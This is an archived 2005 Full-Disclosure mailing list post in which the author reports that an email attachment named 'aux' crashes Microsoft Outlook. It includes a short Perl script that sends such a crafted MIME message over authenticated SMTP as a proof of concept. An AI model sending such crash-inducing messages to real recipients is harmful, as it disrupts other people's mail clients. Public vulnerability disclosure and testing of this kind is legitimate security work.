full-disclosure

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Sat Jul 16 13:04:30 2005
From: kingcope at gmx.net (kcope)
Subject: hehelol

hello, this is kcope and i?m bored .. soo

sending an email with an attachment named aux to a Microsoft Outlook 
client crashes Outlook, can someone confirm that?

here?s some code to test that


-----snip----------
use Net::SMTP_auth;
    $smtp = Net::SMTP_auth->new('mail.gmx.net');
    $smtp->auth('CRAM-MD5', 'username', 'password'); # for smtp 
authentication

    $smtp->mail("kingcope\@gmx.net");
    $smtp->to("kingcope\@gmx.net");

$a="aux";   
   
    $msg = "Subject: a
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary= \"KkK170891tpbkKk__FV_KKKkkkjjwq\"

--KkK170891tpbkKk__FV_KKKkkkjjwq
Content-Type: text/html; charset=US-ASCII

here goes the text message

--KkK170891tpbkKk__FV_KKKkkkjjwq
Content-Type: text/html
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename= \"".$a."\"

$x
--KkK170891tpbkKk__FV_KKKkkkjjwq--


";
   
    $smtp->data();
    $smtp->datasend("To: kingcope\@gmx.net\n");
    $smtp->datasend("$msg\n");
    $smtp->datasend("pwned\n");
    $smtp->dataend();

    $smtp->quit;
-----snip------------

-kcope